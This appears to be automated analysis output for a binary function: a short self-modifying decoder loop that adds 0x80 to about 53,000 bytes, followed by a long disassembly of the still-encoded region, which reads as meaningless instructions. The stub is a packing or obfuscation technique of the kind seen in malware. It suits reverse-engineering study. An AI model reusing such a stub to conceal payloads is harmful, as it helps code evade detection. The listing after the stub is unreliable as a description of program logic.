Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0x80
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
cmp byte [eax + 0x3980c180], al
add byte [eax - 0x67f57f80], 0
inc ebx
stc
or byte [eax + 0x3814103], bl
inc eax
add dword [ecx], 0x80a77f79
xor ch, 0x6b
cmp byte [eax + 0x3b80c090], al
inc ebx
inc ebx
inc ebx
inc ebx
or dword [eax - 0x3fa5aac8], ebx
add byte [ebx], 0x40
add byte [ebx], 0x44
les edi, [edi + 0x50]
inc ebx
fild dword [ebx + 0x68]
test dword [eax - 0x75967f80], eax
add byte [eax - 0x58a7c680], 0xc1
sub byte [ecx - 0x15], 0x35
add byte [eax - 0x3f6f0118], 0x80
push 0x808049af
fld dword [ebx + 0x39]
pop eax
cmpsd dword [esi], dword es:[edi]
rol dword [eax - 0x7fdaa197], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1a888
imul eax, ecx, 0xe8808035
sub byte [eax - 0x7a977f40], dl
dec ecx
add byte [eax - 0x77c6bc27], 0xa8
rol dword [eax - 0x7fdacb97], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1aad8
imul edx, dword [edi - 0x177f7fcb], 0x80c09052
push 0x8080485b
fld dword [ebx + 0x39]
fsubr dword [edx + 0xa6980c1]
and eax, 0x85688080
add byte [eax - 0x7f759680], 0x80
cmp byte [ecx], 0x40
inc eax
mov esi, 0x6d6980c1
xor al, 0x80
sub al, 0x7c
nop
rol byte [eax - 0x7fb7ce98], 0x80
fld dword [ebx + 0x39]
inc eax
mov esi, 0xe06980c1
and eax, 0x85688080
add byte [eax - 0x7f759680], 0x80
cmp byte [ecx], 0x70
mov esi, 0x436980c1
xor al, 0x80
sub al, 0xa6
xchg ecx, eax
rol byte [eax - 0x7fb7f898], 0x80
fld dword [ebx + 0x39]
jo 0x4010e7
rol dword [eax - 0x7fd3a397], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1bfa0
imul ebx, dword [ecx], 0xe8808034
rcl byte [ecx - 0x22977f40]
dec eax
add byte [eax - 0x5fc6bc27], 0xbf
rol dword [eax - 0x7fda7397], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1aa38
imul ebp, edi, 0xe8808034
cli
xchg ecx, eax
rol byte [eax - 0x7fb74c98], 0x80
fld dword [ebx + 0x39]
cmp byte [edx + 0x626980c1], ch
and al, 0x80
sub byte [eax - 0x7b], 0x80
add byte [eax - 0x7f7f7597], 0x80
cmp eax, edx
mov edi, 0xc56980c1
xor al, 0x80
sub al, 0x24
xchg ecx, eax
rol byte [eax - 0x7fb77698], 0x80
fld dword [ebx + 0x39]
sar byte [edi + 0x616980c1], 1
sub eax, 0x85688080
add byte [eax - 0x7f759680], 0x80
cmp byte [ecx], 8
stosb byte es:[edi], al
rol dword [eax - 0x7fcb6497], 0x80
call 0x8100a315
push 0x8080475f
fld dword [ebx + 0x39]
or byte [edx - 0x25967f3f], ch
das
add byte [eax - 0x7f7f7a98], 0x80
imul ecx, dword [edx + 0x39808080], 0x80c1a7c8
imul esi, dword [ecx + 0x33], 0x78e88080
xchg ecx, eax
rol byte [eax - 0x7fb8ca98], 0x80
fld dword [ebx + 0x39]
enter 0xffffffffffffc1a7, 0xffffffffffffff80
imul esp, esp, 0x68808024
test dword [eax - 0x75967f80], eax
add byte [eax - 0x5807c680], 0xc1
sub byte [ecx + 0x47], 0x33
add byte [eax - 0x3f6d5d18], 0x80
push 0x8080470b
fld dword [ebx + 0x39]
clc
cmp eax, edi
cmpsd dword [esi], dword es:[edi]
rol dword [eax - 0x7fcff697], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1a728
imul ebx, dword [0xe8808033], 0x80c092cc
push 0x808047e1
fld dword [ebx + 0x39]
sub byte [edi - 0x6f967f3f], ah
and al, 0x80
sub byte [eax - 0x7b], 0x80
add byte [eax - 0x7f7f7597], 0x80
cmp eax, esp
test eax, 0xf36980c1
xor eax, dword [eax - 0x6d091780]
rol byte [eax - 0x7fb84898], 0x80
fld dword [ebx + 0x39]
loopne 0x401222
rol dword [eax - 0x7fcf2897], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1a980
imul ecx, ecx, 0xe8808033
and byte [edx - 0x72977f40], dl
inc edi
add byte [eax - 0x7fc6bc27], 0xa9
rol dword [eax - 0x7fcecf97], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1a9b0
imul ebx, dword [edi - 0x177f7fcd], 0x80c0924a
push 0x80804663
fld dword [ebx + 0x39]
mov al, 0xa9
rol dword [eax - 0x7fcc4497], 0x80
push 0x80808085
imul ecx, dword [edx + 0x39808080], 0x80c1be10
imul esi, dword [ebp + 0x32], 0x74e88080
xchg edx, eax
rol byte [eax - 0x7fb9c698], 0x80
fld dword [ebx + 0x39]
adc byte [esi - 0x17967f3f], bh
and eax, dword [eax + 0x48e96880]
add byte [eax - 0x7f85c6e7], 0x80
xor byte [edi + 0x79], 0xa
inc edx
add al, 0x40
test byte [edx + edi*4 + 0x3082f241], 0x81
or ecx, esp
movsb byte es:[edi], byte [esi]
nop
or edx, esp
movsb byte es:[edi], byte [esi]
mov dh, dl
or eax, 0x4ebb8ab4
std
cwde
or edx, esp
movsb byte es:[edi], byte [esi]
mov byte [ebx], al
cld
movsb byte es:[edi], byte [esi]
nop
xor ah, 0x85
test al, 0x84
xchg ecx, eax
imul eax, dword [ebx - 0x3e6e7b80], 0xffffffbb
dec esi
cld
insb byte es:[edi], dx
fiadd word [ebx - 0x2a]
or esi, esp
movsb byte es:[edi], byte [esi]
mov dh, dl
push 0x8080489a
fnstenv [ebx - 0x1bffab7]
mov word [edx], cs
add eax, 0xa8cfe40
aam 0xa4
mov word [eax - 0x443e4e6c], gs
dec eax
cld
je 0x40133e
xchg esp, eax
mov cl, 0xc1
mov ebx, 0xde74fc48
inc ebx
salc
jg 0x401358
movsb byte es:[edi], byte [esi]
mov byte [eax + 0x7b], ch
inc edi
add byte [eax - 0x3972f40], 0x46
add byte [eax - 0x6f5b0b81], 0xb
jo 0x40134f
push 0x80804774
add eax, dword [eax + edx*4 + 0xb]
inc esi
add byte [eax + 0xb904403], 0x46
fiadd word [ebx - 0x2a]
jg 0x40137c
movsb byte es:[edi], byte [esi]
mov byte [eax + 0x52], ch
jg 0x40140d
jg 0x40139b
jo 0x40137c
adc esi, 0x7f7f2868
jg 0x40139d
inc esp
mov word [ebx], cs
inc esi
fiadd word [ebx - 0x2b]
or ebp, dword [eax + edi - 0x60]
xchg esp, eax
add byte [eax - 0x7fb89c98], 0x80
sal dword [ebx + 0x789db95b], cl
rol cl, 0x80
salc
xlatb
adc bl, 0xb3
pop ebx
mov ecx, 0xc1c0789d
adc dh, 0xd7
pop dword [esp + edx*2]
add byte [eax - 0x7ffbc180], 0xc1
adc dh, 0x68
sbb eax, 0xc0808047
shr byte [eax - 0x62], 1
inc esi
add al, 0x80
rol dword [eax + 0x471d68d6], 0x80
add al, 0xd0
push 0x8080469e
jg 0x4013c7
add byte [eax - 0x61972f40], 0x46
add byte [eax + 0x988f57f], 0xc5
mov byte [ecx], cl
lds edi, [eax + 0xd]
or ebp, eax
js 0x4013e4
add eax, 0x7f7f6b60
shr byte [eax + 0x10], 1
inc edi
add byte [eax + 0x6b60050d], 0x7f
imul edi, dword [edi + 0x7f], 0xffffffd0
push 0x80804710
or eax, 0x7f6b6005
pushal
imul edi, dword [edi + 0x7f], 0xffffffea
jg 0x4013d3
adc eax, 0x80a65368
add byte [ebx], 0x44
cwde
or eax, 0x7f6b6005
jg 0x4013e2
add byte [eax + 0x7fd08080], al
xchg ebp, eax
add cl, 0xc1
or byte [0x7f7fe805], 0x7f
ljmp 0x6b60
ror byte [0x7f6b6005], 1
jg 0x4013e5
jg 0x4013ac
xchg ebp, eax
js 0x4013d9
rol dword [eax + 0x97f7803], 0xc5
jo 0x401416
out 0xd, al
int 0x74
rcl eax, 1
jg 0x4013bf
push eax
rol cl, 0x80
or edi, dword [eax - 0x2d]
cmp ebp, 0x74
rcl esi, cl
or ebp, edi
mov byte [eax - 0x58], ch
inc edi
add byte [eax - 0x54b0f427], 0x48
sar dword [edi - 0xb], 1
jo 0x4014c7
xchg ebp, eax
test cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
salc
rcl dh, 1
push 0x8080478e
fnop
jg 0x401451
js 0x4014dd
cmc
jo 0x4014e0
xchg ebp, eax
jl 0x401424
rol dword [eax + 0x467a68d6], 0x80
or byte [ebx], 0xcd
js 0x401446
ror dword [eax], 1
pushfd
mov byte [eax - 0x39], ch
inc edi
add byte [eax + 0x58c4403], 0x40
cmc
cdq
jg 0x401477
jo 0x401503
xchg ebp, eax
sbb al, 0xc0
rol dword [eax + 0x6878f57f], 0xf1
int1
inc ebp
add byte [eax + 0x6940b3d9], 0x85
add dword [eax - 0x3bfbde80], 0x8d0b80c1
mov al, 0x81
rol dword [eax + 0x79bb4883], 0xfe
or dword [ecx], 0xffffffc5
mov al, ch
or al, 0x80
rol dword [eax - 0x7fb9d098], 0x80
test dword [ecx + 0x4218080], eax
invalid
push 0x8080462f
salc
or edi, dword [eax + 0x68]
daa
inc esi
add byte [eax - 0x32f42627], 0x88
push 0x80804627
fstpnce st(1), st(0)
or ecx, ebp
mov byte [ebx - 0x773bf2b1], al
test eax, edx
ljmp 0xc1c1
or dword [edi + 0xd], 0xffffffc4
mov byte [ebp + 0x7f88ead0], al
xchg ebp, eax
les ecx, [eax - 0x77152f7b]
jg 0x401464
aam 0xc1
rol dword [eax - 0x4b6a8030], 0xc1
rol dword [eax - 0x2c8f02f5], 0xd3
rcl ebx, cl
rcl edi, cl
xlatb
or ebp, eax
js 0x401564
xchg ebp, eax
test cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
jg 0x4014e6
mov byte [edi - 0xb], bh
js 0x4014cd
jg 0x40148d
jl 0x4014ba
rol dword [eax - 0x2246b64d], 0x88
inc esi
lds edi, [edi - 0x70]
mov ecx, 0xc54688dd
jg 0x401495
nop
invalid
nop
sar dword [ebx + 0x70fc88cd], 0xd3
rcl ebx, cl
xlatb
jg 0x4014b2
test cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
jg 0x40151d
sar byte [edi - 0xb], 1
mov byte [edi - 0xb], bh
js 0x401504
jg 0x4014c4
mov cl, al
rol dword [eax - 0x15870a81], 0x81
jg 0x4014cf
aam 0xc1
rol dword [eax - 0x1b6a8030], 0xc1
rol dword [eax - 0x2c2c7d16], 0xd7
jg 0x4014e1
test cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
call 0x81019566
push 0x80804687
fnop
call 0x81019572
xlatb
jg 0x4014fe
shr al, 1
or al, 0x80
rol dword [eax - 0x776a8029], 0xc1
xchg ebp, eax
mov cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
or eax, 0x81ea7fc5
rcl bh, 1
jg 0x401510
jg 0x401560
adc eax, 0x88957fd7
rol ecx, 0x80
or eax, 0xd0d374c5
mov cl, al
rol dword [eax - 0x2c8b3af3], 0xd0
salc
push 0x8080455c
fnop
salc
xlatb
jg 0x401525
mov cl, al
rol dword [eax + 0x1c957fd7], 0xc0
rol dword [eax - 0x20277e16], 0xde
fisttp dword [ecx + 0x43]
aad 0xb
insb byte es:[edi], dx
cmp byte [ebx + edi*4 - 0x80], ah
sub byte [eax + 0x60], 0x45
add byte [eax - 0x7f7702fd], 0xd3
xor eax, ebx
inc esi
add edi, ebp
mov byte [eax + 0x46c333d3], al
lds edi, [edi - 0x29]
cmc
mov ah, byte [eax]
add byte [edi + 0x580a80c1], bh
or ch, al
jg 0x4015b0
and byte [ecx + 0x346880c1], al
jge 0x40164f
jg 0x40158c
fnstsw word [edi - 0x27]
or ebp, eax
js 0x401568
shld dword [ecx - 0x28297f80], eax, 0x8f
cmc
jg 0x401574
pop ebx
stosd dword es:[edi], eax
jae 0x401629
sbb al, 0x81
rol dword [eax + 0x78f57fc6], 3
add ecx, 0xf57fc680
js 0x4015f6
std
mov byte [eax + 0x7fb1f4d3], al
sal esp, cl
mov cl, 0x7f
cmc
mov byte [0x7f572405], cl
jg 0x4015eb
adc byte [ecx + 0x68d080c1], al
mov dword [eax + eax*4 - 0x80], eax
jg 0x401604
add ecx, 0x8968d080
inc esp
add byte [eax + 0xd78f57f], 5
pushfd
inc esp
jg 0x401695
js 0x40161e
add eax, 0x7f7f449c
sar dword [edi - 0xb], cl
mov al, ch
add byte [ecx + 0x68d080c1], al
adc al, 0x68
jno 0x401666
add byte [eax + 0x6ba84403], 0xa9
or eax, 0x7f572405
jg 0x401619
test eax, 0x5724050d
jg 0x4016af
call 0x8101982d
shr byte [eax + 0x5b], 1
clc
add ecx, 0x5b68d080
push 0x8080435b
jg 0x401632
inc ebx
add byte [eax + 0xd78f57f], 5
pushfd
inc esp
jg 0x4016c3
js 0x40164c
add eax, 0x7f7f449c
shr eax, cl
in al, dx
add ecx, 0x4668d080
inc esi
inc ebx
add byte [eax + 0xda04403], 5
xor al, 0x7e
add byte [ebx], 0x44
mov al, byte [0x7e34050d]
add eax, dword [eax + 0xd]
add eax, 0x7f7f7e34
jg 0x4016d8
inc edi
add eax, 0x7f7f7e34
mov al, 0x80
add byte [eax - 0x63faf230], 0x44
pushfd
inc esp
jg 0x4016e9
sar byte [edi - 0x6b], 1
xchg ebp, eax
cmp al, 0xc0
rol dword [eax + 0x97f7803], 0xc5
je 0x40166c
dec dword [0x7f7e6005]
jg 0x401650
or eax, 0x7f572405
jg 0x401657
or eax, 0x7f6bac05
jg 0x401676
in al, 0x81
rol dword [eax + 0x43fe68d0], 0x80
or byte [0x7f7e6005], 0x7f
xlatb
inc ebx
add byte [eax + 0x7e60050d], 0x7f
jle 0x40171c
jg 0x401676
shr byte [eax - 0x65], 1
inc ebp
add byte [eax + 0x5984403], 0x40
hlt
jle 0x401730
jg 0x40169b
call 0x81019897
shr byte [eax - 0x7d], 1
loopne 0x401636
add ecx, 0x8368d080
rol dword [eax + 0x458368d0], 0x80
sbb cl, 5
inc eax
fxtract
inc ebp
add byte [eax - 0x26bffa27], 0xf4
cwde
or eax, 0x7f6bac05
jg 0x4016b4
adc al, 0x68
adc byte [edi + edi*2 + 0x7f], bh
invalid
pop ds
add byte [eax + 0x7e34050d], 0x7f
jg 0x4016b2
jg 0x4016d9
je 0x401765
xchg ebp, eax
inc eax
rol cl, 0x80
add eax, 0x7f0af540
rol dword [eax + 0xaf54005], 0x7f
cmc
je 0x401772
xchg ebp, eax
cmp al, al
rol dword [eax + 0x58fcec3], 0x6f
jle 0x40177e
jg 0x4016e0
fidivr word [edi - 0xb]
js 0x40176e
js 0x40174a
add byte [eax - 0x7332f427], 0x68
jg 0x40173a
add byte [eax + 0x5db49b3], 0x40
invalid
inc ecx
dec ecx
inc ebx
cmp byte [eax + 0x6880c05c], bl
daa
inc esp
add byte [eax - 0x7f6cc7c8], 0x80
push 0x808044dd
salc
or eax, 0x216844cd
add byte cs:[eax - 0x4cbb3af3], 0x76
inc esp
add byte [eax + 0x44cd0dd6], 0x68
and dword [esi], ebp
add byte [eax - 0x4cbb3af3], 0x76
ror byte [ecx], 1
cmc
jl 0x4017c5
cmc
mov byte [eax - 0x2a], ch
jle 0x4017cb
jg 0x401727
add eax, 0x48fd940
xor eax, dword [eax + 0xdd78080]
int 0x44
push 0x80802932
add eax, 0xd3d7fe40
salc
or eax, 0x906844cd
and byte [eax - 0x7ebf1780], al
rol dword [eax - 0x7497a7f5], 0x7c
jg 0x4017f9
call 0x810198b3
or ebx, dword [eax + 0x68]
mov edi, dword [edi + edi*2 + 0x7f]
or byte [ebx], 0x58
push 0x7f7f7c8b
or edi, dword [eax + 0xd]
add eax, 0x7f7f6cbc
xlatb
mov esp, 0xd77f7f6c
shr eax, cl
in al, 0x81
rol dword [eax + 0x420768d0], 0x80
sub dl, 0x81
ljmp 0x7f6c
cwde
invalid
insb byte es:[edi], dx
jg 0x40184d
jg 0x4017c5
mov al, ch
cmp byte [ecx + 0x68d080c1], al
mov edx, 0xd808042
add eax, 0x7f7f6cbc
shr byte [eax + 0x22], 1
xchg dword [eax - 0x6bbbfc80], eax
invalid
int 0x44
push 0x80802992
mov bl, 0x49
fild word [0x411f8f40]
or esi, dword [ecx + 3]
int 0x7c
jg 0x40181c
int 0x44
push 0x80801ed0
or ecx, ebp
je 0x401825
inc esi
fsubrp st(4)
or dword [ebp - 0x7f7f7f80], ecx
dec ecx
in al, 9
lea eax, [eax + 0x49808080]
inc ebx
cmp byte [esp + ebx*2 + 0x216880c0], ch
inc ebx
add byte [eax - 0x2c2f93fd], 0xd6
or eax, 0x216824cd
sub eax, 0x10e88080
test eax, 0x5bb380c1
add byte [eax - 0x3e56ef18], 0x80
mov bl, 0x5b
jg 0x40183a
mov byte [ecx], cl
fnstsw word [eax + ebp*2 - 0x56]
inc ebx
add byte [eax - 0x26bffa27], 0xf4
sbb cl, 5
inc eax
fxtract
add eax, 0x87f4d940
mov bl, 0x76
imul eax, dword [edx + 0xd808081], 0x7fd024c5
xchg dword [ebx - 0x7e7d968a], esi
add byte [eax - 0x2fdb3af3], 0x7f
cmc
mov byte [eax + 0xa], ch
scasb al, byte es:[edi]
add byte [eax - 0x26bffa27], 0xf4
jg 0x401864
mov byte [eax + 0x2a], ch
jle 0x4018f3
jg 0x40184f
or ebp, eax
push 0x924cd0d
invalid
nop
ljmp 0xc180